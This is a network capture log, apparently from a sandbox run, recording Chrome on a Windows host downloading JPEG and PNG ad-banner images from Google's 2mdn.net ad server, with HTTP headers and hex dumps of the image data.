2024-04-27 22:42:12 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.4	50216	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	700	OUT	GET /sadbundle/13259857157114927549/CB1-Curi_300x600/images/img_1.jpg HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	823	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 74329 X-Content-Type-Options: nosniff Allow-Fenced-Frame-Automatic-Beacons: true X-DNS-Prefetch-Control: off Server: sffe X-XSS-Protection: 0 Date: Thu, 25 Apr 2024 11:50:55 GMT Expires: Fri, 25 Apr 2025 11:50:55 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 21 Mar 2024 14:01:53 GMT Content-Type: image/jpeg Age: 211876 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	432	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c0 00 11 08 03 20 03 e8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF%# , #&')*)-0-(0%()(((((((((((((((((((((((((((((((((((((((((((((((((((( }!1AQa"q2#BR
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 db 7e 63 ae 94 60 66 5c ad 30 33 a6 5a 86 87 13 06 fe 2e 4d 62 d1 bd 36 50 8f 86 ae 69 a3 b6 9b 27 ce 1a b9 da 37 8b 27 46 a0 b1 fb a8 01 85 a9 00 84 d0 01 54 41 1b d0 22 ac 94 09 95 25 15 44 32 02 29 88 61 15 44 86 29 13 61 ac 28 15 83 a5 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?~c`f\03Z.Mb6Pi'7'FTA"%D2)aD)a(
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 68 02 68 e1 a0 92 5f 2f 14 01 2a 2d 02 2d 46 b4 01 60 0a 02 c3 95 68 0b 16 22 8a 99 65 c8 a2 aa 40 4b e5 e1 68 10 cc 65 c5 03 3a 2d 1e 1e 95 b4 4c 6a 1d 2c 31 71 56 60 c7 15 a4 32 32 b4 14 28 14 cb b8 11 40 58 89 e9 5c 76 22 34 5c 2c 44 56 a9 33 19 22 bd c4 55 aa 66 32 45 09 a3 ab 33 b1 46 68 e9 81 42 65 a4 32 b1 14 00 c2 28 10 98 a0 06 d0 02 50 02 53 00 a0 02 80 1b 40 09 40 05 00 25 00 14 00 da 00 4a 00 4a 63 13 38 a0 09 12 5c 52 1d cb 11 cd ef 52 17 2d 45 35 4d 8a b9 65 25 a9 b1 57 2c 24 b4 14 48 ad 52 31 d9 a0 03 34 00 66 80 14 1a 00 95 25 a0 0b 11 cd 40 16 92 5a 43 27 49 28 02 50 6a 4a b8 50 17 0a 00 28 00 a0 02 80 1b 40 8f 3d b6 93 0d 5d 0c 88 17 dc e5 29 22 d9 4d ba d3 64 22 3b 88 f2 95 0c b4 62 5e 43 d6 b1 92 34 83 29 15 ae 59 23 ae 0c a7 38 c3 56 Data Ascii: hh_/*--F`h"e@Khe:-Lj,1qV`22(@X\v"4\,DV3"Uf2E3FhBe2(PS@@%JJc8\RR-E5Me%W,$HR14f%@ZC'I(PjJP(@=])"Md";b^C4)Y#8V
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: d6 89 19 36 57 96 5a ab 19 dc 87 cd aa b1 37 1c 26 a2 c1 72 44 9a a6 c1 72 cc 53 54 d8 bb 93 09 fd e9 58 77 25 49 b7 1a 9b 15 72 c2 4d 53 62 ae 4e 92 e6 95 8d 09 d0 d1 60 25 5e b5 00 59 88 74 a0 09 c0 a0 07 e2 80 0c 1a 00 9e de 3a 00 d2 b6 4e 28 24 d1 84 50 22 6a 60 44 f4 00 f4 14 01 25 00 42 f4 8a 23 c7 cd 40 0f 89 68 19 7e de 3a 00 d0 86 2c d0 06 84 31 62 80 2c 60 0a a1 91 bf dd a0 0a b2 9c d4 8c df f0 f5 b7 cb 9a de 08 c6 ab 3a eb 48 f0 a2 b4 39 d9 73 14 14 88 9c 50 41 56 65 a0 0a 37 11 9a 64 dc a4 ea 69 0e e2 2c 75 26 d1 64 c9 11 a0 b2 65 5a a0 62 3a d3 33 68 82 41 54 8c d9 9b 76 b5 68 c9 99 37 0b 5a 19 95 0a d0 03 19 68 02 36 5a 00 8d 96 81 11 91 40 0c 61 40 0d 22 80 18 45 30 18 c2 80 12 80 12 80 12 80 0a 00 28 01 b4 00 94 00 94 00 50 03 1a 80 0a 00 Data Ascii: 6WZ7&rDrSTXw%IrMSbN`%^Yt:N($P"j`D%B#@h~:,1b,`:H9sPAVe7di,u&deZb:3hATvh7Zh6Z@a@"E0(P
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 6c b4 08 8c 8a 00 61 14 08 61 14 00 80 50 03 18 7c c6 80 1b 40 0a 05 00 35 85 00 27 cb 40 09 9a 60 35 89 a0 04 e6 80 10 e6 80 12 81 0a 78 14 00 cc 52 01 33 fd da 02 e4 c9 26 28 b1 49 96 a3 98 6d a9 b1 69 96 a1 97 35 25 16 52 5c d2 28 b0 8d 52 31 d4 00 ea 06 2d 00 2d 00 39 58 8a 00 b3 0c b4 86 4f 14 b4 01 65 24 a9 03 88 d5 61 eb 5d 09 99 34 66 db 1c 3d 0c 94 69 37 29 52 68 c8 87 df aa 11 a1 17 31 d4 b3 42 95 da d4 81 9b 71 92 0d 61 34 6b 16 73 fa 94 78 62 5a b9 da 3a a2 cc c4 2b 50 ce 94 c9 91 ab 26 6a 8b 09 f2 ae 68 18 6e 34 00 e6 a0 43 c5 00 05 b1 40 0d 26 80 13 34 c4 46 e2 80 23 c7 cd 41 24 32 0f 9a 82 48 f1 d4 d5 08 ae e3 39 35 42 22 71 41 21 8a 00 76 28 10 50 51 1e 3e 6a 62 1d 2a fc b4 c0 6c 7b 7f 8a 81 13 50 04 4c 49 a2 e3 10 a8 0b f3 51 70 23 60 0a Data Ascii: laaP\|@5'@`5xR3&(Imi5%R\(R1--9XOe$a]4f=i7)Rh1Bqa4ksxbZ:+P&jhn4C@&4F#A$2H95B"qA!v(PQ>jb*l{PLIQp#`
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: c5 a3 a2 27 33 2f ee da b1 67 4c 49 6d 9a b1 67 54 4b 9d 71 52 50 ec 50 50 a9 dc d0 21 bb be 6a 00 79 e4 50 21 14 8a 00 5f 96 80 11 da 80 23 da 69 88 5d bf de 34 00 c7 23 75 02 23 62 5a 80 23 2b 41 16 23 2b 40 58 69 53 54 04 6d 40 0d aa 24 91 86 d1 40 11 a0 e6 81 8e 7f bc 28 00 5e 94 08 86 80 07 e0 55 0a c4 6b 40 58 8e 50 68 43 21 6e 95 40 47 90 14 d3 25 95 99 b9 cd 51 9b 21 9b 26 a9 10 44 06 7e f5 55 c0 9e 38 56 93 65 28 96 d2 2c d6 6d 9b 28 97 ed ad cd 64 d9 ba 81 a3 0d a8 a8 6c d9 44 b8 91 81 59 dc d9 44 98 0a 9b 96 90 ec 81 48 76 0f 32 80 b0 a2 43 48 63 96 4a 00 95 1a 95 85 72 e4 6c 36 9a 2c 17 2d 00 0a 50 8c a4 50 bc 5f 98 d6 a8 e6 91 8f 78 30 a6 ba 22 70 d4 32 18 9d f5 b1 c8 cd 08 1b a5 48 1b 16 5d 2a 4a 2f 8a 43 43 99 b0 b4 0c 3c dc 0a 06 34 4b cd Data Ascii: '3/gLImgTKqRPPP!jyP!_#i]4#u#bZ#+A#+@XiSTm@$@(^Uk@XPhC!n@G%Q!&D~U8Ve(,m(dlDYDHv2CHcJrl6,-PP_x0"p2H]*J/CC<4K
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: c5 34 88 6c a9 24 d5 49 12 e6 56 7b 8a b4 88 73 05 ba a7 ca 4f 30 f1 32 fa d4 f2 95 cc 59 8e 6f ee d4 d8 b4 cb b6 f2 54 d8 1b 2f c7 25 09 19 ca 42 b9 cd 5a 47 2c 99 52 68 f3 cd 6c 8e 49 95 5a 1c 56 a8 e7 63 94 ec a6 26 4b 1c d4 08 b0 b3 8c 54 58 b4 2e fd f5 26 a8 7a 2d 21 97 61 8e 82 8d 08 63 c5 17 11 6e 35 a2 e0 59 4f 96 81 92 09 31 40 c6 3c a7 d6 a6 e3 48 81 e5 a5 72 d2 20 f3 32 6a 5b b8 d1 7f 4c 80 dc 5c 0f ee d5 c1 5c 1b b1 e8 ba 1d a0 8d 05 75 24 72 54 95 ce 9a 1e 05 6a 91 8f 30 f7 96 90 5c 85 a6 15 25 5c 8d e7 a9 b1 57 22 33 51 61 dc 8d a4 aa b0 73 09 ba 8b 07 30 bb a8 b1 37 1a 4d 55 89 b8 99 a7 62 1b 06 20 51 62 1b 23 2d 57 62 5b 10 d5 58 86 c6 b2 d0 00 46 05 05 14 e6 14 01 5f 6d 00 30 8a 00 4c 50 03 18 1a 00 66 da 00 6b 2d 00 46 cb 40 0c 75 a0 92 Data Ascii: 4l$IV{sO02YoT/%BZG,RhlIZVc&KTX.&z-!acn5YO1@<Hr 2j[L\\u$rTj0\%\W"3Qas07MUb Qb#-Wb[XF_m0LPfk-F@u
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: e4 f5 34 d1 70 29 99 d8 47 34 13 62 a4 86 a8 45 59 09 a0 92 16 26 9d 87 71 39 a2 c1 71 ea 18 d4 95 72 51 9a 0a 15 8b 7a d0 21 28 00 a0 56 14 1a 02 c4 8a d4 16 3d 64 a0 05 f3 28 19 1b c8 68 02 13 40 0d a0 06 e2 90 09 8a 00 4c 53 10 dc 50 03 08 a0 06 b0 a0 06 91 40 11 95 a0 08 c8 a0 91 8c b4 00 c2 b4 01 11 14 00 c2 b4 c0 89 96 80 23 65 aa b9 24 45 68 b8 0c 65 a6 16 22 2b 40 58 8c ad 00 46 56 80 23 2b 40 0c 22 80 23 22 80 18 c0 d0 04 6c 28 10 d2 28 01 98 a0 04 a0 04 a0 43 68 01 28 01 28 00 a0 07 2c 84 50 05 98 a6 a9 29 32 e4 72 d2 34 4c b4 92 54 94 7a ac 82 b3 35 32 ef 63 a6 84 ce 6e f6 3f 98 d5 92 63 5d 8e 29 92 cc e5 e2 5a b6 42 34 a1 39 4a 86 6a 8a 77 7f 7a a8 92 16 19 4a 4d 14 8c 1d 5e 2a c5 97 16 73 f2 c5 cd 72 cc eb 83 2a ce bb 5a b0 3a 90 91 54 9a a2 Data Ascii: 4p)G4bEY&q9qrQz!(V=d(h@LSP@#e$Ehe"+@XFV#+@"#"l((Ch((,P)2r4LTz52cn?c])ZB49JjwzJM^srZ:T
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 28 28 00 a6 20 a0 02 80 0a 00 28 10 50 03 68 01 b4 00 50 03 09 a0 06 93 40 11 13 54 04 4e d5 44 95 dd a9 92 57 76 aa 22 e5 77 6a a1 5c 68 19 aa 61 62 cc 31 d4 36 69 18 97 ed e2 ac db 3a 22 8b 91 c7 50 d9 bc 51 3a 80 2a 4b b0 50 02 f0 28 44 73 15 e6 9b 15 69 19 ca 46 7d c5 c7 bd 68 a2 72 ca 65 27 bb ab 51 31 75 06 ad c7 bd 37 11 26 58 86 4c d4 34 68 8d 0b 75 dd 59 b2 ae 5c 48 ea 18 5c 97 1b 45 01 71 09 a0 2e 56 96 4c 53 44 14 dc e4 d5 a1 58 92 15 24 d0 49 b1 69 1e 31 41 26 bd b8 e2 81 16 00 aa 10 85 68 0b 10 bc 74 05 8a d3 c5 f2 d4 b0 48 cb b9 86 84 ca e5 32 a6 8b 06 ad 33 16 87 40 b8 35 44 9a b6 dd 05 64 cd 62 cd 28 97 2b 50 cd 93 25 c5 22 84 a0 07 52 18 a3 93 40 1b 7a 15 a9 9a 71 5a 53 89 15 1d 91 ea 7a 25 9e c8 d7 8a ee 8e 87 9f 52 5a 9d 02 2e c5 ab 32 Data Ascii: (( (PhP@TNDWv"wj\hab16i:"PQ:*KP(DsiF}hre'Q1u7&XL4huY\H\Eq.VLSDX$Ii1A&htH23@5Ddb(+P%"R@zqZSz%RZ.2
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: cd 3d 3a 3c cc 2a e2 23 d5 7c 2f 6e 12 05 e2 bb e9 a3 8a a3 3a d5 3b 12 ad 99 a2 9d cc d5 9f 30 f9 4c e9 a6 a3 98 39 4a 52 4b 4e e4 d8 a5 34 94 5c 2c 57 69 28 b8 58 61 6a 2e 16 18 4d 3b 85 86 35 17 0b 02 0e 45 04 d8 db d3 87 ca 29 85 8e 82 d3 a0 a0 65 f5 e9 40 10 4d 42 20 a1 3d 68 89 65 3a 62 12 80 0a 00 28 00 a0 02 80 0a 00 28 01 16 80 16 80 0a 06 14 00 da 04 25 00 14 c4 25 00 34 8a 00 6e 28 01 31 40 0d 22 80 1a c2 80 19 8a 00 6b 2d 00 47 8a 00 8d 96 99 24 6c b4 01 1b 2d 00 31 d6 80 22 65 a6 04 45 68 02 27 5a a2 48 d9 68 02 36 5a 00 88 ad 00 46 56 80 23 2b 40 11 95 a0 08 ca d0 04 6c 28 01 8c b4 00 c2 28 24 66 28 01 8c 28 03 e8 52 2b 90 f4 08 64 14 12 66 de 2f 06 a8 46 1d e4 7d 69 a2 4e 6b 55 8b e5 35 a2 14 8e 79 0e 26 c5 36 66 5b 66 dc 94 91 4c a5 9f de Data Ascii: =:<*#\|/n:;0L9JRKN4\,Wi(Xaj.M;5E)e@MB =he:b((%%4n(1@"k-G$l-1"eEh'ZHh6ZFV#+@l(($f((R+df/F}iNkU5y&6f[fL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.4	50217	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	700	OUT	GET /sadbundle/13259857157114927549/CB1-Curi_300x600/images/img_2.png HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	822	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 20697 X-Content-Type-Options: nosniff Allow-Fenced-Frame-Automatic-Beacons: true X-DNS-Prefetch-Control: off Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Apr 2024 04:12:14 GMT Expires: Sat, 26 Apr 2025 04:12:14 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 21 Mar 2024 14:01:53 GMT Content-Type: image/png Age: 152997 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	433	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 58 00 00 04 b0 08 06 00 00 00 27 a1 34 09 00 00 00 09 70 48 59 73 00 00 00 01 00 00 00 01 00 4f 25 c4 d6 00 00 00 24 7a 54 58 74 43 72 65 61 74 6f 72 00 00 08 99 73 4c c9 4f 4a 55 70 4c 2b 49 2d 52 70 4d 4b 4b 4d 2e 29 06 00 41 7a 06 ce 6a 7a 15 c5 00 00 20 00 49 44 41 54 78 9c ec dd 4b 72 1b 57 96 30 e0 73 93 8f ae 99 f0 47 90 0a cd c4 5e 81 58 2b 10 44 6b 6e f6 0a 04 0f 84 e2 cc f4 0a 4c af c0 f2 4c 4d 0d 0a 5e 41 d1 73 5b 86 56 d0 d4 0a 9a 9a 55 58 8a 68 6a 56 c5 47 de 7f 80 84 04 02 99 00 48 91 14 29 7f 5f 44 45 59 60 be 90 c8 bc 79 f2 9e fb 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRX'4pHYsO%$zTXtCreatorsLOJUpL+I-RpMKKM.)Azjz IDATxKrW0sG^X+DknLLM^As[VUXhjVGH)_DEY`y
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 67 9e 02 ac d5 ee b4 96 8a e5 bd 28 cb 87 91 e2 7d 8e d8 39 29 8f 7a c3 75 87 35 27 39 47 af da 47 0c f7 b3 fa a8 fb f3 db df 77 3b 4d db ce c5 c2 41 2a cb 88 14 9b 79 b8 6e 6a 5a fa e3 f7 8d 9c bf 8e 88 d7 39 a2 17 29 b7 53 4e 5f 0f f7 bb 54 2c f7 5b ed 4e fb b0 df 3b 1c 6e 3f a7 68 c7 30 10 9c b2 fd ea a1 db 8b c1 00 b2 6f a2 9a 0f 30 47 ac 8d 06 92 d5 67 df af 6e 74 37 17 ca 62 f3 32 6b ec e6 75 f6 b7 8f 88 8f 73 17 b6 62 72 00 dc 87 4b c5 f2 c1 dd af ba 9d f3 06 d7 55 d0 d2 8b b2 7c 38 72 f2 de 47 e4 ed b7 2f 5f f4 3e 1c 4b b1 dc 49 11 3f 46 c4 9d 48 f1 24 52 7a b2 ba f1 b7 9f 8e cb 7f ef 4c b9 ce d6 f3 7c d3 01 cd 35 2f e3 49 51 6e 0e 8f b0 8c e8 44 4d 30 30 b4 10 0b 87 27 e9 f4 30 72 5a 4f 11 f7 47 8f 23 e5 8f f7 d2 3c fb 9d 47 55 eb d7 8b b3 d7 d1 Data Ascii: g(}9)zu5'9GGw;MA*ynjZ9)SN_T,[N;n?h0o0Ggnt7b2kusbrKU\|8rG/_>KI?FH$RzL\|5/IQnDM00'0rZOG#<GU
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 23 54 3d c6 c6 bd 9a d5 18 74 ca 03 b7 53 bf a3 fa da 9e 88 88 32 15 e7 6d 78 3a fd 81 30 dc 65 9a f2 60 c8 79 e2 c1 d7 50 a3 f4 7e 21 d7 bc fd cf 50 d5 bc dc 0a 4d 35 69 35 6a 7f a7 95 c7 5b ed 69 2b 55 3d 28 27 1c 97 c7 73 d5 ec 54 a9 e5 49 0d 29 bb 2a b0 9d b8 36 23 9a 5f 00 46 55 81 5b 4d 40 18 51 c6 b4 49 d9 47 17 2c d7 23 22 16 cb e2 52 6a af ee b5 b7 d6 1a da 22 bd 9e b7 0d 5c 8a a8 3b 96 3b 4b c5 d2 d4 73 32 f5 3e 9a 6b bf 57 36 97 ea 9d 86 7b b3 ee de 7b 3f 25 f0 e6 0b 23 c0 e2 b3 ab 1e 24 13 bd ae e6 e9 ea 5e a9 2b 38 6b 1f 4c 55 9a 64 a2 6d 4c 8e 78 53 d7 46 69 86 da 7d 9c c3 eb ba 74 d8 e0 81 9f bf c9 29 ff 12 31 68 e4 1f 65 6e 5f a0 57 df cc 00 f5 26 99 37 d0 b9 88 a6 d4 70 44 bc 9e f7 1c 35 5e 1f 29 9e 34 d5 be e4 98 4c a5 0d 56 69 78 01 18 Data Ascii: #T=tS2mx:0e`yP~!PM5i5j[i+U=('sTI)*6#_FU[M@QIG,#"Rj"\;;Ks2>kW6{{?%#$^+8kLUdmLxSFi}t)1hen_W&7pD5^)4LVix
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 7d 99 7b 5f 79 bc d5 ae 0d ae 72 fc ac 21 fb 17 af 36 78 4e 91 d6 ce b3 91 32 4d 5e c3 d5 96 e6 0c ce eb 1b bb 47 51 74 aa 09 9c ef d4 a5 07 87 aa 97 80 c9 20 ad 9a 3a 67 b8 8d ab 48 0f 4e 7b 01 69 1a d4 77 8a da f3 68 d0 4e be 24 02 2c ae 53 fd 28 d0 8d e9 95 dc be cc 9d a7 b2 a6 c7 56 0c 86 83 b8 cc fd 70 13 d5 07 40 75 b5 aa 53 b7 92 9b 96 2f e7 0a b0 9a 52 7f 39 f2 66 95 da 9b 63 4e c6 fa 20 6d b1 58 ee 5c 43 7a b0 76 f2 ea 0b d4 04 d6 f7 ba 2c af 6e 44 7f 43 40 70 dd 04 58 5c 8b ba ae e4 43 b9 61 2e af 88 78 30 6d bd a9 fb db e8 6e 4f 0e 62 5a 5f fb 70 9d c3 41 f0 79 a4 94 fb f5 7f 69 aa 91 6a 54 fb 92 b0 50 2e 34 6c ff ac c3 7e ef 30 72 fc 3c fe 79 8a b8 3f 33 3d 58 69 0a c0 52 44 e7 aa d2 83 23 7b e9 d7 ef 3b ad cd bb 85 a6 74 62 8e 78 73 c5 69 fa Data Ascii: }{_yr!6xN2M^GQt :gHN{iwhN$,S(Vp@uS/R9fcN mX\Czv,nDC@pX\Ca.x0mnObZ_pAyijTP.4l~0r<y?3=XiRD#{;tbxsi
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 7d d6 b9 78 9d 22 f6 e6 39 b6 3a 77 37 ba 3b 39 52 2b 47 de 9c 79 7d e5 f8 39 a5 38 18 af d1 b8 bb d1 dd c9 39 d6 e6 a8 0d 7d 1f 91 7a 29 f2 e1 b4 5a 91 86 6b ec f5 42 59 6c 8e 06 29 2b 8f b7 da a9 2c f7 c6 97 8b 32 77 3e b5 c7 db b0 33 46 c4 e0 da 7d f7 db 8b 73 d7 68 ae 7c f5 74 6f 78 0d e4 88 ef de bd dc bd d6 07 fd e8 77 f8 20 c7 cf c7 f9 68 7b f4 3e ac 5b 6e 9e fb 75 dc bd f6 d6 da 49 51 f6 1b ae a3 57 a9 9a 93 71 e4 de 78 1f 65 6e bf ed bf d8 1f 5c 87 f1 7d e3 c6 ab 6b af 28 8b de 3f fb cf 0f ce 79 9f 45 44 bc 8f 1c 7b 29 c5 c1 45 ef 15 be 2c 26 7b fe 93 3b 59 8c b5 54 0e 0a 9d 2a da 9e 39 e5 47 ca a9 d5 54 2d 9e 72 8a 88 38 a8 fe 37 6e 3d e6 08 9a fe f8 6d 77 af d5 ee ac 2d 17 cb db 79 d0 ee 65 ea 3a 39 e2 4d 91 62 fb ed 6f 2f e6 ea 81 d5 6a 77 da Data Ascii: }x"9:w7;9R+Gy}989}z)ZkBYl)+,2w>3F}sh\|toxw h{>[nuIQWqxen\}k(?yED{)E,&{;YT*9GT-r87n=mw-ye:9Mbo/jw
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 22 86 dd ff 9f 9c 16 e5 8f 77 37 ba 3f fc f1 72 77 67 74 9c 95 09 65 b9 5e 44 b4 72 44 3b 45 f4 ff 78 b9 bb 33 fc d3 bd f6 d6 da 69 2a 77 22 c5 66 7c ec 62 ff 3e 22 f5 de be fc ef b9 ba d7 0f 8e 6f 69 33 a7 d8 8c 9c d6 53 c4 fd 9a c5 5e 45 a4 fd 28 cb de db fe 8b fd 69 db 5b 6d 3f 5d cf 8b 0b ad 88 88 93 93 7f ed 8f f7 42 ab fb ae d5 54 33 8d 86 c1 69 c4 60 fe b3 69 81 e9 d4 73 39 45 3e 2d d7 ea c6 65 c8 39 d6 56 1e 6f b5 9b d6 9b 75 ec d3 8c 4c b0 dc 8e b1 d1 d4 73 c4 9b 94 a3 7f 9c 8f b6 af a2 27 df bd f6 d6 da c9 62 ac d5 fd ad 28 cb 76 ce b1 16 29 d6 73 51 6c cf fb 1d 5b ed 4e 6b b1 58 ee a4 c1 d4 3a e3 f7 c8 fb 9c 72 bf 88 d4 fb e3 b7 dd 0f 63 6b ad 6e 74 fb 11 11 6f 5f ee b6 2f f0 35 ce b8 e8 77 ba fb 55 77 33 e7 d8 89 91 df 20 47 bc 29 52 6c 8f 1e Data Ascii: 